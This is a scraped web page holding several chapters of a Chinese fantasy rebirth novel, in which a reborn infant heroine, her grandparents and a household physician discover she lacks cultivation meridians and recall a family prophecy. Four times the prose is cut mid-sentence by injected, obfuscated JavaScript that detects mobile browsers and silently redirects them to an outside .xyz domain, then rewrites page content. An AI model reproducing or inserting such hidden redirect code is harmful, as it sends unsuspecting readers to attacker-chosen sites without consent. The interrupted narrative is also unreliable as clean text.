各种念头的周旋下,不知不觉中,修炼成为了她的心病,这心病也不痛,也没有把她伤得鲜血淋漓,只是让她在每个深夜辗转难眠。 她觉得她的痛苦也是如此平庸。 妖昙雾也不过是个引子,也正在那一场又一场荒谬的幻境中,她才开始正视自己。 钟离悠长长呼出一口气。 她下意识想要翻个身,却忘了自己现在还只是三个月大的婴儿,尚且还翻不动,只好蹬了蹬自己的小腿。 现在是新的一世,最关键的是,她还提前得知七国战乱的发生。 梅应微最后接管了梅家,梅应怜吞下钟离家的资源,她不知道梅家和钟离家在战乱中的结局,就只能依据这两件事作最坏的设想。 天下一统是大势,这绝非她一个人可阻止的。 七国君主盟约只是承诺不对胤朝皇室有不臣之心,但七国之间却没有盟约,而且隐隐已有摩擦,只是没摆在明面上而已。 她是没办法对抗七国的,只能在大战开始前,想办法让梅家和钟离家退出漩涡中,至少得留一条后路。 但这很难,梅家是丹阳之臣,钟离家虽独立于七国之外,但是在太有钱,树大招风。 钟离悠叹气,要是她能找个地方把梅家和钟离家藏起来就好了,就像不死人的烂柯地一样,大家都知道有这么一个地方,但谁也不敢进。 抛开七国纷争之事,她还得保住长兄的腿和阿姐的脸。 她没法不让阿兄阿姐去往东隅学院,那里太多机遇,那她就只能和上辈子一样,也跟着去东隅。 不出意外的话,给她下妖昙雾的人还是会对她出手。 一个颀长挺拔的身影和那双冷淡的眼,骤然浮现在她的脑海中,钟离悠的心瞬间猛地跳了一下。 像是被吓的,又或者是其他原因。 这个人,也是个谜。 钟离悠摇摇脑袋,将那个人请出自己的脑海里,微微睁开眼睛,问白绒球,“如果我会破坏他们三个人的一些事情,你会怎么做?” 白绒球撇撇嘴,没回答。倒不是因为这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283196|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题难以回答,单纯是因为不想很快就回答她的问题。 它问时,她就一副要答不答的样子,凭什么她一问,它就要马上回答她? 见它不答,钟离悠无所谓地闭上眼睛。 刚闭上没多久,一个憋闷的声音响起,“……不会做什么的。” “只要不动手杀他们?其他的都行?”钟离悠问道。 白绒球嗯了一声。 钟离悠突然又想起另一件事,“那你之后岂不是一直要跟着我?” 白绒球当场炸毛,“你什么意思?!” “你不觉得一直有个东西跟着自己,盯着自己一举一动会非常怪吗?像个偷窥……” 白绒球瞬间气成粉红色,“我可是天道之心!” “好好好,你是天道之心。” 钟离悠还想逗弄它几句,脑袋却骤然昏沉晕乎起来了,身体渐渐变得无力起来,整个脑袋开始发烫发热,大阳穴处突突跳着。 发热了。 一直到七岁前,她都是这样过来的,三天一小病,五天一大病,缠绵于病榻之上。 意识飘起又浮下的瞬间,钟离悠下意识张口唤人,脱口的是细弱的哭声。 - 一个时辰前。 梅家家主夫人将小孙女安置在自己的内室后,便来到隔壁的小厅堂里。 堂前的香案上供着一把无鞘银剑,老夫人走向香案前的扶椅,如月光照雪般透亮的剑身闪过老夫人的半张脸。 花白的头发一丝不苟地盘在脑后,两根黑木簪,岁月留痕的脸,独眼,左眼上是两道交错的疤痕。 这是一个一看就知道她经历过大风大浪,让人自然生出三分敬意的老夫人。 老夫人坐回扶椅上,先抿了一口热茶,接着拿起之前看到一半《两仪四象书》。 一阴一阳之谓道。 阴极阳生,阳极阴生,故两仪生四象。 侯珍铺开自绘的伏羲先天八卦方位图,隔壁书里的文字内容,一一对照着来看。 明萤灯里的假萤石时不时炸开三两声,为这只余翻书声的寂静深夜里添了些活物的动静。 当侯珍开始钻研六十四卦时,梅烈从王宫回来了。 梅烈停在厅堂门口,解下披风,递给钟管家,“你先下去休息吧。” 梅烈走进堂里,他先把手中提着的四个纸包搁在桌上,再坐下说道,“杏梅干和烤栗饼,路过夜集买的。” 侯珍把那碗给他晾好的丝银茶推给他。 梅烈一年四季都只喜欢喝凉茶,侯珍再怎么说也没把他的这个坏习惯掰过来,最后索性就随他去了。 “王宫里的人怎么说?”侯珍边拆开杏梅干的纸包一边问道。 5. 开花 “说?说是没法说清楚的。”梅烈一碗凉茶尽下肚后回答道。 他放下茶杯,短叹一声,在外挺直的背脊的也似乎随着这声叹息松懈了下去。 “就以老二和他媳妇儿的境界自爆后,战场那里还能剩什么东西?” 梅烈注意到,当他说到“自爆”时,妻子翻书的动作停了一瞬,他移开视线。 “那个地方什么战斗痕迹也找不出来了,没有具体的残骸判断,只凭幸存士兵,也说不清到底是新的妖兽,还是混沌巨物。” “到底是说不清,还是有人就希望说不清呢?”侯珍平静问道。 梅烈沉默片刻,“内阁的人不希望是混沌巨物,恐怕这也是国君的意思。” 侯珍翻着书,“我们的国君忙着保住丹阳第一国的称号,忙着和其他六国争那三四寸土地,忙着招揽奇人异士,此时自然不希望出现什么别的意外。” 七大诸侯国中,丹阳第一,剩下牧野,月吾和扎陵三足鼎立,牧野国已有隐隐追上丹阳之趋势。 剩下的商洛、越国和北留,似乎依旧对胤朝王室忠心耿耿,不像其他四国,大肆招揽能人,并且试图扩张无主之地。 “不过,”侯珍将书搁下,书脊与桌面相撞,发出清脆一声,“混沌巨物不是国君与内阁不希望,就不会真的不再现了。” 梅烈轻叹气,“王宫里的人又不是真不懂这个道理,不过是赌一把罢了。” “赌那不是混沌巨物,赌就算那是混沌巨物,但也不会再出现了。” “再说,如果真是混沌巨物的话,只有请出尊者或者多位圣者才能与之一较。” “即使知道混沌巨物或将现世,能提前做的也是少之又少。” 道修共分为八级,道者、道师、大道师、道令、道宗、大道宗、道圣和道神。 法修也是八级,法者、法师、大道师、法灵、法宗、大法宗、法圣和法神。 每级细分为九阶。 尊者或多位圣者共同出手,倒能与混沌巨物一战。 长宁夫妻二人只是近圣者的水平,若是面对混沌巨物,只能选择自爆,与混沌巨物同归于尽。 如今能确定的神者只有一位,也就是东隅学院的院长,也因此东隅能够独立于七国和胤朝之外,不受任何势力裹挟。 现在尊者和圣者也极少,近圣者的都不算太多。 “这事就这样了结了?”侯珍看向梅烈。 梅烈缓声道,“我在殿前倚老卖老了一回,发了一次疯,从此,死无葬身地不再归梅家管,不会再有梅家人死在那里了。” 梅烈不是什么忠义仁孝之人,也不是什么为国为民的无私奉献之人。 他只是单纯认为有多大的能力就办多大的事情,原来梅家有能力守住死无葬身之地,那便守,现如今梅家不行,那就退。 侯珍思索片刻问道,“接替梅家去边境的是谁?” “王家的人。” “王家?”侯珍顿了一下说道,“看来现在王家的人要记恨上我们了。” 梅烈不以为意,重重哼了一声,“就该让朝歌这些当官去守一守,整天缩在都城里,站着说话不嫌腰疼,弄得像那死无葬身地是我梅家的天生职责一般。” 似乎又想到什么,梅烈的声音骤然又变得低沉,“若非长宁夫妻二人自爆,我梅家一下牺牲掉两个有望成为圣者的人,恐怕还要治我梅家的罪。” 侯珍一时也无言。 良久,侯珍出声问道,“你对我们国君的心思如何看?” 梅烈不说话。 侯珍:“如果有一天,丹阳真的要出兵,剑指帝都,你又作何打算?” 梅烈逃避道,“不是还有君主盟约在吗?要解开盟约至少需要七种神兽之血,现在哪里还有什么神兽。” 三百八十年前,包括梅家老祖在内的几十位尊者级别以上的大能,不知用什么方法彻底将高墙外的混沌巨物消灭干净了,但自那以后,神兽却也似乎跟着消失殆尽了。 现在也只剩灵兽与近神兽的瑞兽。 “那其他诸侯国呢?”侯珍又问,“倘若国君让梅家参与到针对其他六国的纷争中,你又当如何?” 侯珍继续说道,“原来梅家管着边境,王宫里的人自然不会让梅家参与到七国纷争中,现在就不一定了。” “当下梅家是元气大伤,但我看疏晏疏然和稚雪个个都是可造之材,还有磐磐,作为长宁和阿清的女儿,王宫里自然也会有那么几双眼睛看着她,这些孩子未来又该如何呢?” “战争,是最没意思的,人活一趟多不容易啊。” 她不希望看到这些孩子未来成为战场上的杀人器物,持刀挥向同族。 梅烈沉默不语。 “硬要靠打仗比来比去的,不如每个诸侯国拉出几个人,比谁吃得多。”侯珍撇嘴道。 梅烈被妻子的戏言逗笑。 侯珍端起热茶,润润嗓子后,想了想,说道,“前些天我读《西珍记》,说幽方有一种喜好囤积黄金珠宝的龙,龙开始只是单纯喜欢囤金子,慢慢的,龙就越来越害怕等它老后,其他种族会来觊觎自己的珍宝,于是逐渐变得偏执、贪婪、暴躁易怒和独断,似乎只有这样凶名在外,它才能护住自己的珍宝。” “国君若渐渐风华不再,你猜,他会不会也越来越像那条龙?” 她看向梅烈,“覆巢之下,安有完卵?” “即使不为我们,也该为孩子们的将来想一想。” 梅烈长长吐出一口气。 事情如潮水般向人涌来,一时之间,他竟然不知道应当是先焦急混沌巨物的事,还是先焦虑梅家将来该何去何从。 梅烈又叹道,“唉,要是能找到一个既没有这些纷争,又没有混沌巨物的地方藏起来就好了。” 侯珍听笑了,蓦地又想起一事,“国君未必会和其他诸侯国和天子说这件事,我已经让人传信去钟离家了。” 钟离家就在东隅城里。 那地方环境尤为特殊,约十二日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283197|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极昼,约十四日极夜,昼夜交替极为混乱。 极夜期间,外城的人禁止入内,因而送信什么的要比其他地方多耗费不少时间。 梅烈正要说什么时,耳朵却捕捉到隔壁卧房里的隐隐哭声,紧接着是一阵脚步声和动静声。 “应该是磐磐醒了。”侯珍起身说道,“不知道是饿了还是怎么了。” 两人往走去卧房走去,透过窗纸,侯珍发现比她离开前,房间里似乎比之前多点了好几盏明萤灯。 几个侍女匆匆进出着。 “四小姐怎么了?”侯珍问道。 燕姑此时正抱着钟离悠在内屋里走着,闻声转过身来,快步迎了上来,素来淡定的脸上竟有几分惊诧之色,让侯珍心里不免咯噔跳了一下。 “怎么了?”侯珍又问了一遍。 “四小姐有些发热,浑身正滚烫着。”燕姑看了看外面,侍女都已出去,她低声说道,“老夫人,您和家主往里走一些。” 三人又往里走了些,梅烈看见钟离悠哭得涨红的脸,眉间忍不住一蹙。 燕姑掀开钟离悠的襁褓,将钟离悠的小袖子撸上去,“您看。” 只见钟离悠白皙胖乎的小手臂上竟然绽开了一朵又一朵如莲花形状的花印。 天道之心白绒球此时站在燕姑的左肩上,也一脸诧异地看着这异象。 “不止手臂,脖子这里,小肚子这里……全身都有这样的花印。”燕姑将钟离悠交给侯珍,“夜里四小姐突然哭了起来,我立马查看,发现四小姐有些发热,便叫门外守夜的侍女去请了医师来。” “后来我给四小姐散热时,就发现小姐身上浮现出这些花印来。” “我用炼气探了探,没有任何炼气与五行元素的浮动,应当不是他人施法导致的。” 侯珍看着钟离悠的眉间痣,不知是不是她的错觉,她总觉得这颗痣变得更加鲜红了。 “你们看,这些花印是不是在褪去了?”梅烈指着钟离悠脖子上的花印说道。 侯珍掀开襁褓,看着钟离悠的小手和手臂的花印,果然在慢慢消退。 “这件事情不要向任何人提起。”侯珍当机立断道,“连医师都不要提。 梅烈蹙眉看向侯珍,正要问她是不是知道些什么时,侍女引着医师进来了,他便暂时将心里的疑惑按了下去。 - 钟离悠知道自己现在又在做梦。 做梦也没脱离掉发烧带来的头痛欲裂,让本来就令人晕沉的梦更加迷糊了。 她知道,她梦见的还是前世她死去后的发生的一些事情。 因为,这个地方她从未来过,只在书上见到过。 一道又一道比巨山还要高的荆棘绿墙,仿佛要向上插进穹苍里,它们呈半椭圆形将人族城池牢牢护于身后。 荆棘绿墙外是一望无际的粉色。粉橘色的沼泽,淡粉色的蘑菇巨树和各类浮在半空中的形状各异的巨石。 风景很是不错,但它却偏偏叫做“死无葬身地”。 6. 死无葬身地 她变成了一只带翅膀的妖兽。 她此时飞在粉色淡云的空中,她没法看见“自己”更多的特征,也无从判断自己到底是什么妖兽。 她跟着其他翅膀妖兽,譬如七阶火烈鸟群,一起往荆棘绿墙的右边飞去。 荆棘绿墙的右边已经洞开,前三道绿墙都已被破开,只剩下最后一道绿墙护着后面的城池。 而在最后一道绿墙前,还有一道“人墙”,一群人正在与试图攻击绿墙的妖兽们作战,时不时炸出几道玄气和绚烂的元素法阵。 钟离悠看不清下面作战的人,的心却是瞬间提了起来。 待飞近些后,她的心沉了下去,作战人群最前面的人是她的二哥梅疏野,手持着他的九尾长枪,穿着一身黑衣,黑衣上深深浅浅,她不确定那是不是他的血液痕迹。 而他身后护着的是他们的长兄梅疏野。 他坐在粉色岩石沙地上,右腿假肢掉落在不远处,他只能形容狼狈地坐在地上,右手高举着法杖,嘴里念念有词,一个又一个大型的火系攻击元素法阵被他几乎不间断地抛出。 钟离悠附身的这只翅膀妖兽,猛地冲下地面上,目标是二哥梅疏野未持枪的左臂膀。 钟离悠闭上眼睛,别开头,但铁锈味的血腥味还在在她的舌头炸开。 她想吐,却吐不出,那浓重的血腥味已塞满她的口腔,正往她的咽喉处灌去。 钟离悠瞬间更加头昏脑胀,与此同时,另一段似乎属于二哥的记忆在她的脑海里炸开。 她看见,在梅应微掌管梅家,以道法两修的体质将自己更正为真正的梅家主脉,开始重组梅家军后,祖父祖母他们便自请来到丹阳守边,借此脱离开七国纷争。 平静日子未过半载,一阵又一阵妖兽潮来袭,频率既不符合往日的规律,也没有人知道这是怎么回事。 周遭的空气陡然安静下来,钟离悠附身的翅膀妖兽迅速飞往更高空上,像是要逃离什么。 钟离悠此刻也被迫从二哥的记忆中脱离出来,而这时,一道遮天蔽日的黑影立了起来,笼罩着地上所有活物。 钟离悠回头一看,入目的先是一双如殿柱般粗壮的水蓝色小腿和底下巨大的六指脚掌,再抬头一看,是一个水蓝色的无脸巨人。 钟离悠不禁往后退了一步,她看着它的“头发”,像是章鱼的触须,根根饱满滑腻,长满了一缩一放的吸盘,垂至它的大腿处,须尾处往上翘着。 巨人咀嚼着周围的一切,她看见它伸手摘下一只向外扑腾飞的火烈鸟,放进嘴里,它的身体是透明的,她能清楚看到火烈鸟血淋的残骸如何滑过食道,堆积在肚子中间,成为它 身体的一部分。 混沌巨物。 活着的混沌巨物。 火烈鸟的眼睛静静凝望着她,那只比天还要大的水蓝色的手向她遮了过来,在那一瞬间,蓝色巨人被一只粗大的吸盘触手贯穿身体。 蓝色巨人瞬间化成汹涌的海水向所有人袭来,钟离悠被巨浪淹没而下,意识又变得迷糊,身体随着冰冷的海水起起伏伏。 窒息,冰冷,窒息,冰冷……最终归于冰冷。 一点又一点比海水更为冰冷的东西铺天盖地地落在她的脸上,钟离悠睁开眼睛,迎上漫天雪雾。 钟离悠坐起身来,她又回到自己的身体里面,周围是皑皑雪山,风雪极大。 这个地方……好像有点眼熟。 这不是她被人追杀的地方吗? 钟离悠站起身来,茫然地走了几步,周围并没有人,她朝着雪雾少的地方走去,然后她看见了自己的墓碑。 简单的五个字,“钟离悠之墓”。 钟离悠啧啧称奇,她竟然是葬在这里的? 钟离悠新奇地围着自己坟墓转了几圈,这坟墓着实砌得不错,每块青砖都严实无缝。 不过,她不觉得家里人会把她葬在这里,他们没给她收尸吗? 钟离悠看向不远处的庐屋,离她的坟墓最多二十步左右。 走近后,她看见门口的铸剑台和工具后,她才反应过来,这原来是个剑庐。 屋里点着灯,里面却没有人。 钟离悠正抬脚步要往里走时,却听到后面传来一阵簌簌的响声,她转过身,此时风雪故意作弄,掀起一场迷人眼的雪雾。 她眯着眼往过去,雪雾那边似乎走来一个人,但她无论如何也看不清,大雪又纷纷扬扬起来,那个人分明向她这边走来,但始终有雪雾盖在他的身影前。 “你是谁啊?” 钟离悠忍不住喊出来,她想,就算是上辈子的死后梦,但无论如何也是她的梦,总该听她的。 对方没有回应,只闷声走着,似一座移动着的雪山。 他从她的旁边走过,他身边的风雾也割在她的脸上,钟离悠不适地低头,看到了他衣袍的一角,最普通的粗布衣裳。 “你到底是谁啊?” 她想知道为何她的坟墓在他的庐屋附近。 而风雾越发得寸进尺,沉默的人影、剑庐、钟离悠之墓……一切都渐渐隐于簌簌白雪之下。 天地渺渺,此时又只余她一人。 “钟离悠——回来喽——” “钟离悠——” “回来没有?回来喽回来喽!” 钟离悠抬头,看向白茫茫的天空,这是……祖母的声音? 呼喊声还在继续着。 “磐磐,回来没有?已经回来了。” “钟离悠——” “回来了回来了,到家了——” 周围霎时狂风乱舞,风雪大作,天地倾覆、变化、扭曲……钟离悠抬起沉重的眼皮,勉强睁开了一条眼缝。 祖母正坐在她的床边,手里拿着她的小衣服,轻轻拍向床边,嘴里轻声唤着她的名字,让她回家。 祖母正在替她招魂。 招魂算是某类祈福仪式,害怕幼童突来的发热是因为被朔鬼叫去了三魂七魄的某一魂魄,所以需要亲人拿着小孩的衣服,叫着孩子的名字,把孩子的魂魄从朔鬼那里唤回来。 她看着祖母左眼那两处疤痕,平复一会儿心情,又看向窗户外面,天色微微泛紫,已经要到白天了。 钟离悠重新闭上眼睛,她比之前要舒服了许多。 一只粗粝宽厚的手轻轻搭在她的额头上,手指又摸了摸她的太阳穴,另一个她熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283198|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的声音响起,“已经没有之前滚烫了,刚刚瞧这小玩意儿还睁了一条缝。” 祖父的声音。 祖母招魂声停下,接着,她又喊另一个人,“老白,烦你再给看看。” 老白,白须道,府上的医师。 也是个熟得不能再熟的人了,老白还说过,在她来之后,他终于没白拿府上的银两了。 白须道一手捋着自己下巴的白须,右手搭在她的脉搏处,“脉象确实要平稳了许多。” 白须道探了一会儿,收回手,又探向她的脉搏,脸上露出踌躇的神情。 “这是又怎么了吗?”侯珍停下叠衣的动作,问道。 白须道没立刻回答,似乎又不信邪一般,换了另一只手探钟离悠的脉搏,最终好像确定了答案,站起身,犹豫道,“我似乎没有探到四小姐的五行七脉。” “这怎么可能?!”梅烈脱口而出。 钟离悠哉心里“害”了一声,祖父,这还真的可能。 话说原来这个时候家里人就已经知道她是天残人了啊,她还以为是在五岁去四象殿测根骨与结契时他们才知道呢。 这边侯珍已经将手指搭在钟离悠的脉搏处,将自己的炼气缓缓探入钟离悠的体内,然而炼气刚探入不久,就自行消散了。 完全没有引走炼气的五行七脉。 侯珍再试了一次,依然没有探到五行七脉的存在。 良久,侯珍对梅烈说道,“你来试试吧。” 梅烈心里咯噔一下,将手搭在钟离悠的脉搏上,同样注入炼气,炼气却瞬间消散。 空间瞬间陷入沉默中。 侯珍看看天色,吩咐一旁的燕姑,“你去长墨院里候着,等他们醒后,让他们夫妻俩过来一趟。” 她想了想,又补充道,“那三个小的,就不必带过来了。” “是。” 燕姑略行一礼,退出寝房。 祖父祖母,大伯和小叔皆是道修,只有她阿娘和大伯母是法修。 钟离悠知道,祖母这是抱着侥幸心态,想让大伯母用精神力探一探她的五行七脉以及神窍。 无论是道修还是法修,五行七脉都是最基础的东西。 道修者,吸纳天地里金、木、水、火、土五行元素,在五行七脉中将其融炼为气体,炼气不断在七脉中运转三十五周后,逐渐生出魂核,魂核里储存炼气,根据魂核的大小和运转速度,划分道者的不同等级。 与道修不同的是,法修只能感受到一种元素,将元素引入五行七脉后,该元素先是会对五行七脉赋予自己的颜色,譬如木元素就是绿色,火元素则是红色。 元素进入法修者的五行七脉顶端,开神窍,法修者由此可以使用精神力,神窍里藏有星舆图,内有周天十四主星。 法修者通过运转自己的十四主星,不断提高精神力,形成吸纳并储存元素的元素星海。 法修亦有例外,有人天生对水和木两种元素亲和,这类人便非常适合学习治愈系的元素法阵。 除开这类水木元素外,再无其他人可使用多种元素的法阵。 总而言之,无论是道修,还是法修,都绕不开五行七脉。 7. 红痣 “如何?”侯珍问道。 梅烈、侯珍和梅长墨,房间里的三个人此时都看着萧韵。 萧韵手持手臂长短的法杖,将温和的火元素再次探入钟离悠的体内,而火元素却无任何着力点,只是悄无声息没了,还不如被风吹熄的蜡烛,好歹还留有余烟。 她将法杖收回到储物戒里,又用精神力探了探,依旧一无所获。 萧韵面色凝重,摇头道,“确实没探到五行七脉,或许还没长出来了……” 说到后面,萧韵的声音越来越低,自己也知道这是不太可能的。 大概在婴儿满一月的时候,五行七脉就已长好了,有些父母还会用炼气或元素在孩子的五行七脉里游走检查一圈。 一些较为厉害的修炼者还会在孩子的五行七脉里留下保护禁制,防止其以后在战斗中被人或妖兽恶意废掉五行七脉。 像梅疏野、梅疏野两兄弟的保护禁制就是由修为最高的梅长宁和钟离清留下的,梅稚雪出生那年,梅长宁夫妻俩不在丹阳,便他们的小叔梅长阙,家里修为第三高的人留下保护禁制。 钟离悠听着他们低声谈话的声音,有点昏昏欲睡,其实她很喜欢在要睡觉的时候,听家里人压低声音的谈话声,传进耳朵里是模模糊糊的,给她一种莫名的安心感。 良久,梅长墨开口说道,“想必二弟他们也是知道这个情况,才没有把磐磐从死无葬身地送回来。” 死无葬身地本就不适合孩子生活,当时钟离悠出生约一两个月后,他们便写信让他们把孩子送回丹阳,如果有不方便的地方,他们也可以来接。 但二弟梅长宁只是说,他舍不得闺女,想再多留一段时间。 “也许遍寻神医,或者请族里的炼药师来看一看?”萧韵提议道。 “也没听过神医和炼药师,能活生生造出一条五行七脉来。”侯珍平静地说道。 房间再度陷入沉默中。 “我梅烈的孙女,就算没有五行七脉也不打紧,不也还有那么多修为平平的人吗?” 梅烈低头,看着襁褓里的婴儿道,“我们梅家不缺强者护卫,也不缺打造高阶防御法器……” 梅烈突然哑口,他想起,防御法器也是需要认主的,认主的引子就是使用者的炼气或者精神力。 他忙改口道,“也可以在她身上多下几重保护禁制。” “平安寻常也挺好的,要强掐尖也不一定是什么好事。” 确实。 要强掐尖不一定是什么好事。 钟离悠想起上辈子她被人轻易割喉的场景,要不是她“要强掐尖”,去了东隅,或许她就不会死。 后悔吗? 难说。 如果不去的话,她永远只能看着丹阳的天。 “不打紧?”侯珍语气依旧平缓,“人人都有五行七脉,就她没有。” “兄弟姊妹都能修炼,就她不能。” “就因是你梅烈的孙女,五岁必然要去四象殿测根骨,王宫里的人亦要过问,五岁还应要去丹阳国学院,与王室的孩子、其他臣子家的小娘子小郎君一起进学。” “即使是修为再平平的人,也能掐个决舞个法阵,没有五行七脉,就连城池间移动法阵也坐不了。” “你说不打紧?!” 梅烈不说话了。 侯珍:“更何况,你就能确定平安寻常就是她想要的吗?” 钟离悠想起上辈子去东隅前的事情,当她给祖母提起时,祖母也只是沉默一瞬,最后拍拍她的肩,说,“想好了就做吧。” 祖母对后辈向来如此,不会强行做主,在祖母看来,人的一生,是用来用的,只要不害人,怎么做怎么选都是对的。 侯珍平复了一下心情,对梅长墨说道,“这事你们也都别往外提,疏晏他们三个也别说。” “儿子知道。”梅长墨应道。 侯珍给钟离悠掖了掖被子,“你们两个先回你们院子里用朝食吧,让我跟你们父亲单独说说话。” “是。” 梅长墨和萧韵对视一眼,并肩走了出去。 “你还记得咱们刚成亲的那一年秋天,巫祝殿的人曾给我们赐过一卦。” 待梅长墨和萧韵离开后,侯珍开口说道。 原本打算再睡一觉的钟离悠瞬间又不困了。 巫祝殿的人?那不就是国祝师许无负吗? 国祝师常年居于王宫里的巫祝殿里,据说从未出过宫殿,她精通卦术,能够推演国运和将来之事,也擅长相面,能够推测一个人的命运走向。 有人说,之所以她如此擅推算,是因为她就是不死人一族。 她一年只算四卦,春夏秋冬各一卦。 春卦为丹阳而占,夏卦从丹阳王室中择一人而占,秋卦则是在丹阳臣子及家眷中择一人,冬卦则是在普通百姓中选一人。 上辈子的钟离悠每年都会期待秋天的到来,她想要被国祝师选中,盼望着她能够为自己指一条明路出来。 她没想到,祖父祖母竟被选中过。 梅烈闻言一愣,那都是快四十多年前的事情了,更何况,他向来不信什么卦言,他信的是事在人为。 至于那些卦言,听过便过去了。 侯珍回忆道,“当时是国祝师身边的童子递来的批语。” “‘前人栽梅,后人承其荫,既承其荫,亦承其孽,是谓劫,不可躲,无可躲。’” “批语背后画着凋落一地的残梅。” 劫?残梅? 钟离悠在心里疑惑地重复了一遍,上辈子可没听过祖母说起这一茬。 “你家竟然还有家族业力?” 白绒球的声音骤然闯进钟离悠了脑海里,吓了钟离悠一跳。 她下意识想问刚才它跑哪儿去了,话到嘴边还是先回答了它的问题,“我也不知道,上辈子没听过,这是家族业力?” 白绒球刚想开口,侯珍却抢了先。 侯珍看着梅烈,“你个梅家人,应该还没忘记你为何姓梅吧。” 钟离悠闻言也跟着想了一下,梅家原本不姓梅,而是姓戚。 梅家老祖,也就是那位道法两修的第一天才,在从一个叫梅岭的地方为丹阳国带回第一只神兽后,梅家老祖彻底扬名,梅家也由此崛起。 为了铭记这份荣誉,梅家族人便将原本的戚姓改为梅姓。 而那个梅岭,在经历过数次地裂和海啸后,从丹阳地块割裂而出,化作一块岛屿,漂浮到海上的无主之地。 要不是这样,那些梅家族人必然还要在那里立个碑,钟离悠想。 “你的意思是问题出在梅岭一事上?” 梅烈话一出口,又觉不对,“不是,夫人,难道你还真信那轻飘飘的几十个字?” “为何不信?现在不是一一应来了吗?” 侯珍说道,“先是长宁和阿清的死,再是……” 侯珍的目光落回到钟离悠身上,“没有五行七脉。” “刚拿到批语时,我很担心了一阵子。”侯珍娓娓道来,“直到长墨他们四个兄弟姊妹一个一个平安长大,修炼一事上也没出过任何岔子,我才慢慢放下心来。” 四个? 钟离悠又疑惑了一瞬,才想起她还有一个消失踪影多年的小姑,叫……叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283199|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么来着,家里人很少提到她,一时间她也想不起来。 “直到后来,昭意出了那样的事。” 哦!对!梅昭意。 她出什么事了? 可惜侯珍没有接着往下说。 “那时我就又忍不住想起这句批语,幸好其他三个都过的好好的,看着他们个个成家立业,我心里放心不少。” “等疏晏疏然出生后,我又忍不住开始担心他们这一辈了。”、 “没想到,到头来,长宁却死了。” 侯珍眼里闪过几分恍惚之色,“好好的人,就这样没了。” 连最后一面,都没让她这个当阿娘的见上一面。 “那一年,就是长墨五岁长宁两岁那年,巫祝殿的人需要深海森林的听音木,当时是我带人去深海森林去取来的。”侯珍问道,“你还记得吗?” 梅烈点头,“记得。” 巫祝殿的东西讲究,只允许女子可碰,当时国君和内阁的人就指派了侯珍前去。 “许师说可以为占一次卦或者相一次面,作为她的报酬,但我大着胆子向她讨了三个问题。” “许师应了。” 梅烈静静等着下文。 “第一个问题,我问了她有关梅家之劫,是否有解。” “许师说,‘大道五十,天衍四九,人循其一’,系铃自有解铃之人。” “我又问,谁是解铃之人?” “许师没有明说,只是说,宿命轮回,自有相似之处。” 侯珍的目光落在钟离悠的眉心痣上,久久凝望着,梅烈顺着她的视线,也将目光落在钟离悠的身上。 被两双眼睛盯住的钟离悠瞬间浑身不自在起来了,她努力保持着一呼一吸的平稳沉睡的节奏。 “这颗红痣,你就没有想到谁吗?”侯珍问道。 梅烈一愣。 侯珍自答道,“梅家老祖的眉心间同样有这样一点。” 钟离悠也愣了。 什么红痣? 她有眉间痣,她怎么不知道? 她找着白绒球,“你在不在我旁边?” 坐在十二神兽玩具架上的白绒球此刻正打量着她眉间那点米粒大小的红痣,“在,干嘛?” “我眉间真有一颗红痣?” “有啊,难道你连自己有没有痣都忘了?”白绒球疑惑道,她上辈子难道还没照过镜子? 钟离悠陷入沉思,她确信自己上辈子没什么眉间痣,这是怎么回事? 天道给她这个重生之人做了个标记? 不过,梅家老祖也有眉间痣吗? 祖祠里只供奉着灵牌,老祖的画像她还真没看过,倒不是她不好奇这个道法两修的人长什么样子,而是四象殿的广场下立着的雕塑,其中有一尊就是她梅家的老祖。 但她分明记得,雕塑老祖的眉间没什么痣啊。 侯珍:“在拿到批语后,我专门又去了解了一下你梅家这位老祖,然后发现,她还是少年时,眉间并未有那颗红痣,但到后面,她虽没有再画过单人画像,但她一些与其他人的画里,却有那颗红痣。” 梅烈懂了她的言外之意,“你的意思是老祖眉间那颗红痣与梅岭有关?” 